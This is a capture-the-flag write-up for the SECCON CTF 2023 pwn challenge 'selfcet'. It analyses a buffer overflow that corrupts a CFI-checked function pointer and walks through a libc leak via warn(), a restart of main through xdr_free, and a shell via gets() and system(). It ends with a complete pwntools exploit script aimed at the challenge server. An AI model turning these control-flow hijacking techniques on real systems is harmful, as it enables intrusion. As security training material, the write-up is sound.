SECCON CTF 2023 - selfcet

5 minute read

Description

selfcet was a pwn challenge in SECCON CTF 20223 Quals.

Source code review

 1
 2#define KEY_SIZE 0x20
 3typedef struct {
 4  char key[KEY_SIZE];
 5  char buf[KEY_SIZE];
 6  const char *error;
 7  int status;
 8  void (*throw)(int, const char*, ...);
 9} ctx_t;
10
11int main() {
12    
13  ctx_t ctx = { .error = NULL, .status = 0, .throw = err };
14
15  read_member(&ctx, offsetof(ctx_t, key), sizeof(ctx));
16  read_member(&ctx, offsetof(ctx_t, buf), sizeof(ctx));
17
18  encrypt(&ctx);
19  write(STDOUT_FILENO, ctx.buf, KEY_SIZE);
20
21  return 0;

main instantiates a ctx_t variable and sets its throw member to glibc function err and then calls 2 times read_member on it with different offsets and size 88 (sizeof(ctx))

 1#define INSN_ENDBR64 (0xF30F1EFA) /* endbr64 */
 2#define CFI(f)                                              \
 3  ({                                                        \
 4    if (__builtin_bswap32(*(uint32_t*)(f)) != INSN_ENDBR64) \
 5      __builtin_trap();                                     \
 6    (f);                                                    \
 7  })
 8...
 9void read_member(ctx_t *ctx, off_t offset, size_t size) {
10  if (read(STDIN_FILENO, (void*)ctx + offset, size) <= 0) {
11    ctx->status = EXIT_FAILURE;
12    ctx->error = "I/O Error";
13  }
14  ctx->buf[strcspn(ctx->buf, "\n")] = '\0';
15
16  if (ctx->status != 0)
17    CFI(ctx->throw)(ctx->status, ctx->error);
18}

read_member calls read on a specific offset of the provided ctx with the given size (88) then if ctx->status it not zero it passes ctx->throw, which is a function pointer, to CFI and then calls it with ctx->status: int and ctx->error: char*

CFI fetches the first dword of where ctx->throw points to and compares it with INSN_ENDBR64. If the first dword is not equal to INSN_ENDBR64 it calls the GCC builtn function __builtin_trap() which according to gcc docs:

 This function causes the program to exit abnormally. GCC implements this function by using a target-dependent mechanism (such as intentionally executing an illegal instruction) or by calling abort. The mechanism used may vary from release to release so you should not rely on any particular implementation. 

In any other case it returns f.

In essence, the CFI macro checks if the address where f points to stores an ENDBR64 instruction.

1void encrypt(ctx_t *ctx) {
2  for (size_t i = 0; i < KEY_SIZE; i++)
3    ctx->buf[i] ^= ctx->key[i];
4}

encrypt() just preforms a xor operation between ctx->key and ctx->buf

The Bug

main() calls 2 times read_member on ctx->buf and ctx->key respectively.

Each time the third argument (size) is sizeof(ctx) which evaluates to 88

meaning that read_member() will call read(0, ctx->buf/key, 88) resulting to a buffer overflow allowing us to corrupt the ctx struct and, thus the throw function pointer.

Exploitation

Mitigations

1[*] 'xor'
2    Arch:     amd64-64-little
3    RELRO:    Full RELRO
4    Stack:    Canary found
5    NX:       NX enabled
6    PIE:      No PIE (0x3fe000)

`PIE`` is not enabled meaning that we know the base of our binary.

Getting a libc leak

We can use the overflow to point throw anywhere we want, but we need to take into consideration.

  1. that it takes as arguments (int status, char* error).
  2. that throw is already populated with the libc function err.
  3. that throw must point to the start of a libc function because of CFI

a great candidate is void warn(const char *fmt); because it resides at -0x1c0 from err@glibc

The  warn()  family  of functions display a formatted error message on the standard error output. In all
cases, the last component of the program name, a colon character, and a space are output.  **If the fmt argument is not NULL, the printf(3)-like formatted error message is output.**  The output is terminated by a newline character.

thus, providing a GOT entry to warn()@glibc as the first argument we can leak it.

to achieve that we need to preform a partial overwrite on throw using our buffer overflow.

 1io = start()
 2
 3got_libc_start_main = 0x403fc8
 4
 5s(b"A"*64 + p64(0) + p64(got_libc_start_main) + p16(0x4010))
 6
 7ru(b"xor: ")
 8leak = u64(r(6).ljust(8, b"\x00"))
 9libc.address = leak - libc.sym.__libc_start_main
10log.info(f"libc @ {hex(libc.address)}")

with that snippet we send to the first read_member: 64 A’s filling the buf and key buffer then (qword) 0 for char* error, the address of the GOT entry __libc_start_main for status as it will be the first argument to warn and at the end 2 bytes to preform partial overwrite on throw member in order to point it to warn.

(The partial overwrite is subject to ASLR meaning that it might not work each time.)

Calling system("/bin/sh")

Now that we have a libc leak we could try to use the 2nd read_member call to overwrite throw with system.

The problem here is that the first arg to throw is int meaning that the largest value we can store in it is 0x7fffffff

Thus, if we tried to call system("/bin/sh") the address of /bin/sh would get truncated (as it resides in glibc).

Writing /bin/sh to .bss

We could overcome this problem by writing /bin/sh to .bss because an address in .bss fits to an int.

But, there is only one call to read_member remaining meaning that even if we write /bin/sh into .bss there isn’t a way to call system with it afterwards.

What we had to do is find a way to restart the program by calling main again. main() doesn’t start with an endbr64 instruction, so we need to find a gadget , probably in glibc, to call it.

After some searching and some binja fu we found a libc function xdr_free

Now that we have another 2 read_member calls we can call gets(address_in_bss) to store /bin/sh into .bss and system(address_in_bss).

exploit.py

 1#!/bin/env python3
 2
 3from pwn import *
 4
 5elf = context.binary = ELF("./xor", checksec=False)
 6libc = ELF("./libc.so.6", checksec=False)
 7context.arch = 'amd64'
 8context.terminal = ['tmux','splitw','-h']
 9io = None
10
11gdbscript = '''
12break *main+71
13br *main+93
14b *read_member+185
15c
16'''
17
18convert = lambda x                  :x if type(x)==bytes else str(x).encode()
19s       = lambda data               :io.send(convert(data))
20sl      = lambda data               :io.sendline(convert(data))
21sla     = lambda delim,data         :io.sendlineafter(convert(delim), convert(data), timeout=context.timeout)
22ru      = lambda delims, drop=True  :io.recvuntil(delims, drop, timeout=context.timeout)
23r       = lambda n                  :io.recv(n)
24rl      = lambda                    :io.recvline()
25
26
27HOST, PORT = 'selfcet.seccon.games', 9999
28
29def start():
30    if args.GDB:
31        return gdb.debug(elf.path, gdbscript=gdbscript)
32    if args.REMOTE:
33        return remote(HOST, PORT)
34    else:
35        return process(elf.path)
36
37io = start()
38
39got_libc_start_main = 0x403fc8
40
41s(b"A"*64 + p64(0) + p64(got_libc_start_main) + p16(0xd010))
42
43ru(b"xor: ")
44leak = u64(r(6).ljust(8, b"\x00"))
45libc.address = leak - libc.sym.__libc_start_main
46log.info(f"libc @ {hex(libc.address)}")
47
48
49s(b"B"*0x28 + p64(elf.sym.main) + p64(libc.sym.xdr_free))
50
51print("gets")
52pause()
53s(b"A"*0x48 + p64(elf.bss(0x100)) + p64(libc.sym.gets))
54
55print("/bin/sh")
56pause()
57sl(b"/bin/sh\x00")
58
59print("system")
60pause()
61s(b"B"*0x28 + p64(elf.bss(0x100)) + p64(libc.sym.system))
62io.interactive()